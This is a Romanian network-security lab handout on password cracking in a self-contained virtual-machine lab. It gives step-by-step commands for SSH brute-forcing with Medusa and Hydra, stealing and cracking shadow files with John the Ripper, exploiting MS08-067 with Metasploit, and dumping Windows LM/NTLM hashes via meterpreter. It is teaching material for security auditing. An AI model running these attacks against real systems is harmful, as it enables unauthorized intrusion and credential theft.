

Auditarea Securitatii Retelelor

Laborator

- Spargerea parolelor

Adrian Furtună

MSc, CEH

adif2k8@gmail.com

[Objective]

- Vom exersa diverse tehnici pentru spargerea parolelor in urmatoarele situatii:
 1. Atacuri online (incercari repetate de login)
 2. Atacuri offline (spargerea hash-urilor)

[Configurarea Laboratorului]

- Vom folosi 2 masini virtuale:
 - BackTrack4 – atacator
 - Debian5 – victima (SSH server)
- Placa de retea in mod NAT

[Atacuri online]

- Incercari repetate de login
- Asupra serviciilor expuse in retea (ssh, http, vnc, ftp, etc)
- Viteza mica
 - Este nevoie de o eficientizare a atacului (incercari cu probabilitate mai mare de reusita)
 - Dictionare de parole + reguli

[Dictionare de parole]

- Parole default:

<http://www.phenoelit-us.org/dpl/dpl.html>

- Liste standard de parole:

<http://www.skullsecurity.org/wiki/index.php/Passwords>

- Dictionar 'personalizat' de parole:

<http://www.digininja.org/projects/cewl.php>

[Exercițiul 1]

Aflati parola de SSH a utilizatorului *dexter* de pe masina victima (proprie) folosind o lista standard de parole (500-worst-passwords.txt).

Tool: Medusa v2.0 <http://www.foofus.net>

Syntax:

```
medusa [-h host|-H file] [-u username|-U file] [-p password|-P  
file] [-C file] -M module [OPT]
```

[Sa construim o lista de parole...]

Vom aplica un set de reguli pentru a creste complexitatea parolelor din dictionarul standard:

Ex: password → Password
Password2010
Password!
password123#
PASSWORD2
etc

Meet John The Ripper...



- Offline password cracker <http://www.openwall.com/john/>
- Suporta numeroase formate de parole (cu *jumbo patch*):
DES/BSDI/MD5/BF/AFS/LM/NT/XSHA/PO/raw-MD5/MD5-gen/IPB2/raw-sha1/md5a/hmac-md5/phpass-md5/KRB5/bfegg/nsldap/ssha/openssha/oracle/oracle11/MYSQL/mysql-sha1/mscash/lotus5/DOMINOSEC/NETLM/NETNTLM/NETLMv2/NETNTLMv2/NETHALFLM/mssql/mssql05/epi/phps/mysql-fast/pix-md5/sapG/sapB/md5ns/HDAA/DMD5/crypt
- Viteza de calcul pentru un anumit algoritm:
`./john --test --format=raw-MD5`
- Cracking modes:
 - Single mode: `./john --single pwordfile.txt`
 - Wordlist mode: `./john --wordlist=dictionar.txt pwordfile.txt`
 - Wordlist + mangling rules:
`./john --wordlist=dictionar.txt --rules=myrules pwordfile.txt`
 - Incremental mode: `./john --incremental pwordfile.txt`
- Fisiere importante pentru John:
 - `john.conf` - contine toate optiunile de configurare
 - `john.pot` - mentine parolele descoperite in format criptat
 - `john.rec` - mentine informatii despre sesiunea curenta
- Alte comenzi utile:
 - `./john --show pwordfile.txt` - afiseaza parolele descoperite pana in acest moment
 - `./john --restore` - reia ultima sesiune de cracking de la ultima pozitie testata

Exercitiul 2

Aflati parola de SSH a utilizatorului *topcat* de pe masina victima (proprie) folosind un dictionar cu parole complexe.

1. Vom folosi regulile implicite din fisierul *john.conf* pentru a crea parole complexe.

Sintaxa: <http://www.openwall.com/john/doc/RULES.shtml>

```
root@bt: john
```

```
./john --rules --wordlist=keywords.txt --stdout > newdict.txt
```

2. Pornim atacul asupra serverului tinta:

Tool: Hydra v5.4 <http://www.thc.org>

Syntax:

```
hydra [[[ -l LOGIN | -L FILE ] [-p PASS | -P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE] [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
```

(-t 5 -V)

Exercitiul 3

Gasiti fisierul cu hash-urile parolelor utilizatorilor de pe sistemul victima (Debian) si transferati-l pe masina atacator (+ fisierul passwd).

Hints: /etc, scp

Atacuri offline asupra parolelor

- Necesita hash-ul parolei
- Algoritmul de hashing folosit
- Se recalculeaza hash-ul pentru diverse cuvinte (ex. din dictionar) si se compara cu hash-ul parolei
- Viteza mare
 - Reusita atacului depinde de lungimea si complexitatea parolei cat si de puterea de calcul
 - Forta bruta (toate combinatiile posibile) este eficienta pentru parole de pana la 7-8 caractere
 - Folosirea procesoarelor grafice GPU ale placilor NVIDIA – CUDA
 - <http://hashcat.net/oclhashcat/>
 - <http://www.elcomsoft.com/lhc.html>

Exercitiul 4

Obtineti parola utilizatorului *root* de pe sistemul victima (Debian) folosind fisierele obtinute anterior.

1. `root@bt: john`
2. `./unshadow passwdfile.txt shadowfile.txt > unshadow.txt`
3. `./john unshadow.txt`
4. `./john --show unshadow.txt`

[Re-Configurarea Laboratorului]

- Vom folosi 2 masini virtuale:
 - BackTrack4 – atacator
 - Windows XP SP2 – victima
- Placa de retea in mod NAT

Exercitiul 5 (Fast Pwn)

Obtineti acces in masina virtuala Windows exploatand vulnerabilitatea *ms08-067*. Folositi ca PAYLOAD *windows/meterpreter/bind_tcp*.

http://www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics

1. `cd /pentest/exploits/framework3`
2. `./msfconsole`
3. `use exploit/windows/smb/ms08_067_netapi`
4. `set RHOST ...`
5. `set TARGET 3`
6. `set PAYLOAD windows/meterpreter/bind_tcp`
8. `exploit`

Exercitiul 6

Extrageți hash-urile utilizatorilor definiți local în Windows (LMHASH, NTLMHASH) și copiați-le într-un fișier text.

```
meterpreter >  
meterpreter >  
meterpreter > hashdump  
Administrator:500:f0d412bd764ffe81aad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::  
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
HelpAssistant:1000:dfe8951c4d96e93c0da5ebb2db922ec6:67aae9ff37b5c403d6fb3f28644f5345:::  
user:1001:624aac413795cdc17e51f0bf38bde884:92f7e7d670d3968e70bb3215760678dd:::
```

Metode alternative:

fgdump - <http://www.foofus.net/~fizzgig/fgdump/>

pwdump7 - http://www.tarasco.org/security/pwdump_7/

Exercitiul 7

Folositi JohnTheRipper pentru a gasi parolele utilizatorilor locali.

1. Spargem hash-ul LM (*parola case insensitive*):
./john --format=LM hashes.txt
2. Spargem hash-ul NTLM folosind hash-ul LM si parola recuperata anterior => *parola case sensitive*

```
root@bt:/pentest/exploits/framework3/tools#  
./lm2ntcrack.rb
```


Rainbow Tables

- Compromis: spatiu de stocare – timp de spargere a parolei
- Lista de hash-uri precalculate => spargerea parolei inseamna cautare (nu recalculare)
- Metoda nu este fezabila pentru algoritmi de hashing care au ca input mai multe variabile:
Ex: MSCASH = MD4(MD4(password) || lowercase(username)
- Necesita spatiu foarte mare de stocare
<http://www.freerainbowtables.com/>
<http://sourceforge.net/projects/rcracki/>

Rainbow Tables - Online

<http://www.plain-text.info/>

<http://md5crack.com/>

<http://www.objectif-securite.ch/products.php>

Exercitiu:

Gasiti parola de Windows din hash-ul LM folosind site-ul
www.objectif-securite.ch/products.php

[Literatura si alte unelte]

http://tools.question-defense.com/Cracking_Passwords_Guide.pdf

Cain

www.oxid.it/cain.html

Ophcrack

<http://ophcrack.sourceforge.net/>

Aircrack

<http://www.aircrack-ng.org/>

Brutus

<http://www.hoobie.net/brutus/>

[INTREBARI

?